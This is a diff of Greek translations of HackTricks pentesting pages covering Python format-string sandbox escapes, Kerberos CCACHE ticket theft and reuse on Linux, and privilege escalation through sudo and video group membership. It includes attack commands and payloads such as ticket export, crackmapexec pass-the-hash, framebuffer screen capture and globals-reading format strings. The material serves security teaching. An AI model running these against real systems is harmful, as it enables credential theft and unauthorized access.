['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
@ -698,7 +708,7 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people) get_name_for_avatar(st, people_obj = people)
``` ```
Σημειώστε πώς μπορείτε να **πρόσβαση σε χαρακτηριστικά** με κανονικό τρόπο με μια **τελεία** όπως `people_obj.__init__` και **στοιχείο dict** με **παρενθέσεις** χωρίς εισαγωγικά `__globals__[CONFIG]` Σημειώστε πώς μπορείτε να **πρόσβαση σε χαρακτηριστικά** με κανονικό τρόπο με μια **τελεία** όπως `people_obj.__init__` και **στοιχείο dict** με **παρενθέσεις** χωρίς αποσπάσματα `__globals__[CONFIG]`
Επίσης σημειώστε ότι μπορείτε να χρησιμοποιήσετε `.__dict__` για να απαριθμήσετε τα στοιχεία ενός αντικειμένου `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` Επίσης σημειώστε ότι μπορείτε να χρησιμοποιήσετε `.__dict__` για να απαριθμήσετε τα στοιχεία ενός αντικειμένου `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
@ -718,7 +728,7 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000()) '{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that. #I'm afraid I can't do that.
``` ```
**Περισσότερα παραδείγματα** σχετικά με **μορφή** **συμβολοσειρών** μπορούν να βρεθούν στο [**https://pyformat.info/**](https://pyformat.info) **Περισσότερα παραδείγματα** σχετικά με **μορφοποίηση** **συμβολοσειρών** μπορούν να βρεθούν στο [**https://pyformat.info/**](https://pyformat.info)
{% hint style="danger" %} {% hint style="danger" %}
Ελέγξτε επίσης την παρακάτω σελίδα για gadgets που θα r**ead ευαίσθητες πληροφορίες από τα εσωτερικά αντικείμενα της Python**: Ελέγξτε επίσης την παρακάτω σελίδα για gadgets που θα r**ead ευαίσθητες πληροφορίες από τα εσωτερικά αντικείμενα της Python**:
@ -746,7 +756,7 @@ str(x) # Out: clueless
``` ```
### Από τη μορφή στην εκτέλεση κώδικα φορτώνοντας βιβλιοθήκες ### Από τη μορφή στην εκτέλεση κώδικα φορτώνοντας βιβλιοθήκες
Σύμφωνα με την [**πρόκληση TypeMonkey από αυτή την αναφορά**](https://corgi.rip/posts/buckeye-writeups/), είναι δυνατόν να φορτωθούν αυθαίρετες βιβλιοθήκες από το δίσκο εκμεταλλευόμενοι την ευπάθεια της μορφής συμβολοσειράς στην python. Σύμφωνα με την [**πρόκληση TypeMonkey από αυτή την αναφορά**](https://corgi.rip/posts/buckeye-writeups/), είναι δυνατόν να φορτωθούν αυθαίρετες βιβλιοθήκες από το δίσκο εκμεταλλευόμενοι την ευπάθεια μορφής συμβολοσειράς στην python.
Ως υπενθύμιση, κάθε φορά που εκτελείται μια ενέργεια στην python, εκτελείται κάποια συνάρτηση. Για παράδειγμα, το `2*3` θα εκτελέσει **`(2).mul(3)`** ή **`{'a':'b'}['a']`** θα είναι **`{'a':'b'}.__getitem__('a')`**. Ως υπενθύμιση, κάθε φορά που εκτελείται μια ενέργεια στην python, εκτελείται κάποια συνάρτηση. Για παράδειγμα, το `2*3` θα εκτελέσει **`(2).mul(3)`** ή **`{'a':'b'}['a']`** θα είναι **`{'a':'b'}.__getitem__('a')`**.
@ -936,7 +946,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
``` ```
## Συγκέντρωση Python ## Συγκέντρωση Python
Τώρα, ας φανταστούμε ότι με κάποιο τρόπο μπορείτε να **εκχύσετε τις πληροφορίες σχετικά με μια συνάρτηση που δεν μπορείτε να εκτελέσετε** αλλά **χρειάζεστε** να **την εκτελέσετε**.\ Τώρα, ας φανταστούμε ότι με κάποιο τρόπο μπορείτε να **εκφορτώσετε τις πληροφορίες σχετικά με μια συνάρτηση που δεν μπορείτε να εκτελέσετε** αλλά **χρειάζεστε** να **εκτελέσετε**.\
Όπως στο παρακάτω παράδειγμα, μπορείτε να **έχετε πρόσβαση στο αντικείμενο κώδικα** αυτής της συνάρτησης, αλλά απλά διαβάζοντας την αποσυναρμολόγηση **δεν ξέρετε πώς να υπολογίσετε τη σημαία** (_φανταστείτε μια πιο σύνθετη συνάρτηση `calc_flag`_) Όπως στο παρακάτω παράδειγμα, μπορείτε να **έχετε πρόσβαση στο αντικείμενο κώδικα** αυτής της συνάρτησης, αλλά απλά διαβάζοντας την αποσυναρμολόγηση **δεν ξέρετε πώς να υπολογίσετε τη σημαία** (_φανταστείτε μια πιο σύνθετη συνάρτηση `calc_flag`_)
```python ```python
def get_flag(some_input): def get_flag(some_input):
@ -952,7 +962,7 @@ return "Nope"
``` ```
### Δημιουργία του αντικειμένου κώδικα ### Δημιουργία του αντικειμένου κώδικα
Πρώτα απ' όλα, πρέπει να ξέρουμε **πώς να δημιουργήσουμε και να εκτελέσουμε ένα αντικείμενο κώδικα** ώστε να μπορέσουμε να δημιουργήσουμε ένα για να εκτελέσουμε τη λειτουργία μας που έχει διαρρεύσει: Πρώτα απ' όλα, πρέπει να γνωρίζουμε **πώς να δημιουργήσουμε και να εκτελέσουμε ένα αντικείμενο κώδικα** ώστε να μπορέσουμε να δημιουργήσουμε ένα για να εκτελέσουμε τη λειτουργία μας που έχει διαρρεύσει:
```python ```python
code_type = type((lambda: None).__code__) code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this # Check the following hint if you get an error in calling this
@ -1027,7 +1037,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()) codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)() function_type(codeobj, mydict, None, None, None)()
``` ```
Αν δεν μπορείτε να αποκτήσετε πρόσβαση στο `eval` ή `exec`, μπορείτε να δημιουργήσετε μια **κατάλληλη συνάρτηση**, αλλά η άμεση κλήση της συνήθως θα αποτύχει με: _ο κατασκευαστής δεν είναι προσβάσιμος σε περιορισμένη λειτουργία_. Έτσι, χρειάζεστε μια **συνάρτηση που δεν είναι στο περιορισμένο περιβάλλον για να καλέσετε αυτή τη συνάρτηση.** Αν δεν μπορείτε να αποκτήσετε πρόσβαση στο `eval` ή `exec`, μπορείτε να δημιουργήσετε μια **κατάλληλη συνάρτηση**, αλλά η άμεση κλήση της συνήθως θα αποτύχει με: _ο κατασκευαστής δεν είναι προσβάσιμος σε περιορισμένο περιβάλλον_. Έτσι, χρειάζεστε μια **συνάρτηση που δεν είναι στο περιορισμένο περιβάλλον για να καλέσετε αυτή τη συνάρτηση.**
```python ```python
#Compile a regular print #Compile a regular print
ftype = type(lambda: None) ftype = type(lambda: None)
@ -1070,17 +1080,25 @@ print(f"\nNot a Super User!!!\n")
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html) * [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6) * [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>Υποστηρίξτε το HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -15,9 +15,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
Ένας υπολογιστής linux μπορεί επίσης να είναι παρών σε ένα περιβάλλον Active Directory. <figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
Ένας υπολογιστής linux σε ένα AD μπορεί να **αποθηκεύει διάφορα CCACHE tickets μέσα σε αρχεία. Αυτά τα tickets μπορούν να χρησιμοποιηθούν και να καταχραστούν όπως οποιοδήποτε άλλο kerberos ticket**. Για να διαβάσετε αυτά τα tickets θα χρειαστεί να είστε ο χρήστης κάτοχος του ticket ή **root** μέσα στον υπολογιστή. {% embed url="https://websec.nl/" %}
Μια μηχανή linux μπορεί επίσης να είναι παρούσα μέσα σε ένα περιβάλλον Active Directory.
Μια μηχανή linux σε ένα AD μπορεί να **αποθηκεύει διάφορα CCACHE tickets μέσα σε αρχεία. Αυτά τα tickets μπορούν να χρησιμοποιηθούν και να κακοποιηθούν όπως οποιοδήποτε άλλο kerberos ticket**. Για να διαβάσετε αυτά τα tickets θα χρειαστεί να είστε ο χρήστης κάτοχος του ticket ή **root** μέσα στη μηχανή.
## Enumeration ## Enumeration
@ -43,7 +47,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
### Pass The Ticket ### Pass The Ticket
Σε αυτή τη σελίδα θα βρείτε διάφορες τοποθεσίες όπου μπορείτε να **βρείτε kerberos tickets μέσα σε έναν υπολογιστή linux**, στην επόμενη σελίδα μπορείτε να μάθετε πώς να μετατρέψετε αυτά τα CCache tickets σε μορφές Kirbi (τη μορφή που χρειάζεστε να χρησιμοποιήσετε σε Windows) και επίσης πώς να εκτελέσετε μια επίθεση PTT: Σε αυτή τη σελίδα θα βρείτε διάφορες τοποθεσίες όπου μπορείτε να **βρείτε kerberos tickets μέσα σε έναν host linux**, στην επόμενη σελίδα μπορείτε να μάθετε πώς να μετατρέψετε αυτά τα CCache tickets σε μορφές Kirbi (τη μορφή που χρειάζεστε να χρησιμοποιήσετε σε Windows) και επίσης πώς να εκτελέσετε μια επίθεση PTT:
{% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %} {% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %}
[pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md) [pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md)
@ -51,9 +55,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
### CCACHE ticket reuse από /tmp ### CCACHE ticket reuse από /tmp
Τα αρχεία CCACHE είναι δυαδικές μορφές για **αποθήκευση Kerberos credentials** που συνήθως αποθηκεύονται με δικαιώματα 600 στο `/tmp`. Αυτά τα αρχεία μπορούν να αναγνωριστούν από τη **μορφή ονόματος τους, `krb5cc_%{uid}`,** που σχετίζεται με το UID του χρήστη. Για την επαλήθευση του ticket αυθεντικοποίησης, η **μεταβλητή περιβάλλοντος `KRB5CCNAME`** θα πρέπει να οριστεί στη διαδρομή του επιθυμητού αρχείου ticket, επιτρέποντας την επαναχρησιμοποίησή του. Τα αρχεία CCACHE είναι δυαδικές μορφές για **αποθήκευση πιστοποιητικών Kerberos** που συνήθως αποθηκεύονται με δικαιώματα 600 στο `/tmp`. Αυτά τα αρχεία μπορούν να αναγνωριστούν από τη **μορφή ονόματος τους, `krb5cc_%{uid}`,** που σχετίζεται με το UID του χρήστη. Για την επαλήθευση του ticket αυθεντικοποίησης, η **μεταβλητή περιβάλλοντος `KRB5CCNAME`** θα πρέπει να οριστεί στη διαδρομή του επιθυμητού αρχείου ticket, επιτρέποντας την επαναχρησιμοποίησή του.
Λίστα με το τρέχον ticket που χρησιμοποιείται για αυθεντικοποίηση με `env | grep KRB5CCNAME`. Η μορφή είναι φορητή και το ticket μπορεί να **επανχρησιμοποιηθεί ορίζοντας τη μεταβλητή περιβάλλοντος** με `export KRB5CCNAME=/tmp/ticket.ccache`. Η μορφή ονόματος του kerberos ticket είναι `krb5cc_%{uid}` όπου uid είναι το UID του χρήστη. Λίστα με το τρέχον ticket που χρησιμοποιείται για αυθεντικοποίηση με `env | grep KRB5CCNAME`. Η μορφή είναι φορητή και το ticket μπορεί να **επανχρησιμοποιηθεί ορίζοντας τη μεταβλητή περιβάλλοντος** με `export KRB5CCNAME=/tmp/ticket.ccache`. Η μορφή ονόματος του ticket Kerberos είναι `krb5cc_%{uid}` όπου uid είναι το UID του χρήστη.
```bash ```bash
# Find tickets # Find tickets
ls /tmp/ | grep krb5cc ls /tmp/ | grep krb5cc
@ -64,7 +68,7 @@ export KRB5CCNAME=/tmp/krb5cc_1000
``` ```
### CCACHE ticket reuse from keyring ### CCACHE ticket reuse from keyring
**Τα αποθηκευμένα Kerberos tickets στη μνήμη μιας διαδικασίας μπορούν να εξαχθούν**, ιδιαίτερα όταν η προστασία ptrace της μηχανής είναι απενεργοποιημένη (`/proc/sys/kernel/yama/ptrace_scope`). Ένα χρήσιμο εργαλείο για αυτόν τον σκοπό βρίσκεται στο [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), το οποίο διευκολύνει την εξαγωγή εισάγοντας σε συνεδρίες και εκ dumping tickets στο `/tmp`. **Τα αποθηκευμένα Kerberos tickets στη μνήμη μιας διαδικασίας μπορούν να εξαχθούν**, ιδιαίτερα όταν η προστασία ptrace της μηχανής είναι απενεργοποιημένη (`/proc/sys/kernel/yama/ptrace_scope`). Ένα χρήσιμο εργαλείο για αυτόν τον σκοπό βρίσκεται στο [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), το οποίο διευκολύνει την εξαγωγή με την ένεση σε συνεδρίες και την εκφόρτωση των tickets στο `/tmp`.
Για να ρυθμίσετε και να χρησιμοποιήσετε αυτό το εργαλείο, ακολουθούνται τα παρακάτω βήματα: Για να ρυθμίσετε και να χρησιμοποιήσετε αυτό το εργαλείο, ακολουθούνται τα παρακάτω βήματα:
```bash ```bash
@ -106,7 +110,7 @@ klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
python3 keytabextract.py krb5.keytab python3 keytabextract.py krb5.keytab
# Expected output varies based on hash availability # Expected output varies based on hash availability
``` ```
Στο macOS, **`bifrost`** χρησιμεύει ως εργαλείο για την ανάλυση αρχείων keytab. Στο macOS, **`bifrost`** χρησιμεύει ως εργαλείο ανάλυσης αρχείων keytab.
```bash ```bash
./bifrost -action dump -source keytab -path /path/to/your/file ./bifrost -action dump -source keytab -path /path/to/your/file
``` ```
@ -119,6 +123,10 @@ crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDO
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) * [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %} {% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -1,24 +1,30 @@
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>Υποστήριξη HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
# Sudo/Διοικητικές Ομάδες Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
# Sudo/Admin Groups
## **PE - Μέθοδος 1** ## **PE - Μέθοδος 1**
**Μερικές φορές**, **κατά προεπιλογή \(ή επειδή κάποια λογισμικά το χρειάζονται\)** μέσα στο **/etc/sudoers** αρχείο μπορείτε να βρείτε μερικές από αυτές τις γραμμές: **Μερικές φορές**, **κατά προεπιλογή \(ή επειδή το λογισμικό χρειάζεται αυτό\)** μέσα στο **/etc/sudoers** αρχείο μπορείτε να βρείτε μερικές από αυτές τις γραμμές:
```bash ```bash
# Allow members of group sudo to execute any command # Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL %sudo ALL=(ALL:ALL) ALL
@ -43,7 +49,7 @@ find / -perm -4000 2>/dev/null
```bash ```bash
cat /etc/polkit-1/localauthority.conf.d/* cat /etc/polkit-1/localauthority.conf.d/*
``` ```
Εκεί θα βρείτε ποιες ομάδες επιτρέπεται να εκτελούν **pkexec** και **κατά προεπιλογή** σε ορισμένα linux μπορεί **να εμφανιστούν** κάποιες από τις ομάδες **sudo ή admin**. Εκεί θα βρείτε ποιες ομάδες επιτρέπεται να εκτελούν **pkexec** και **κατά προεπιλογή** σε ορισμένα linux μπορεί να **εμφανίζονται** κάποιες από τις ομάδες **sudo ή admin**.
Για να **γίνετε root μπορείτε να εκτελέσετε**: Για να **γίνετε root μπορείτε να εκτελέσετε**:
```bash ```bash
@ -121,12 +127,12 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
``` ```
Η **tty1** σημαίνει ότι ο χρήστης **yossi είναι συνδεδεμένος φυσικά** σε ένα τερματικό στη μηχανή. Η **tty1** σημαίνει ότι ο χρήστης **yossi είναι συνδεδεμένος φυσικά** σε ένα τερματικό στη μηχανή.
Η **ομάδα video** έχει πρόσβαση για να δει την έξοδο της οθόνης. Βασικά, μπορείτε να παρατηρήσετε τις οθόνες. Για να το κάνετε αυτό, πρέπει να **πάρτε την τρέχουσα εικόνα στην οθόνη** σε ακατέργαστα δεδομένα και να βρείτε την ανάλυση που χρησιμοποιεί η οθόνη. Τα δεδομένα της οθόνης μπορούν να αποθηκευτούν στο `/dev/fb0` και μπορείτε να βρείτε την ανάλυση αυτής της οθόνης στο `/sys/class/graphics/fb0/virtual_size` Η **ομάδα video** έχει πρόσβαση για να δει την έξοδο της οθόνης. Βασικά, μπορείτε να παρατηρήσετε τις οθόνες. Για να το κάνετε αυτό, πρέπει να **πάρτε την τρέχουσα εικόνα στην οθόνη** σε ακατέργαστα δεδομένα και να αποκτήσετε την ανάλυση που χρησιμοποιεί η οθόνη. Τα δεδομένα της οθόνης μπορούν να αποθηκευτούν στο `/dev/fb0` και μπορείτε να βρείτε την ανάλυση αυτής της οθόνης στο `/sys/class/graphics/fb0/virtual_size`
```bash ```bash
cat /dev/fb0 > /tmp/screen.raw cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size cat /sys/class/graphics/fb0/virtual_size
``` ```
Για να **ανοίξετε** την **ακατέργαστη εικόνα** μπορείτε να χρησιμοποιήσετε το **GIMP**, να επιλέξετε το **`screen.raw`** αρχείο και να επιλέξετε ως τύπο αρχείου **Raw image data**: Για να **ανοίξετε** την **ακατέργαστη εικόνα** μπορείτε να χρησιμοποιήσετε το **GIMP**, να επιλέξετε το αρχείο **`screen.raw`** και να επιλέξετε ως τύπο αρχείου **Raw image data**:
![](../../.gitbook/assets/image%20%28208%29.png) ![](../../.gitbook/assets/image%20%28208%29.png)
@ -136,7 +142,7 @@ cat /sys/class/graphics/fb0/virtual_size
# Ομάδα Root # Ομάδα Root
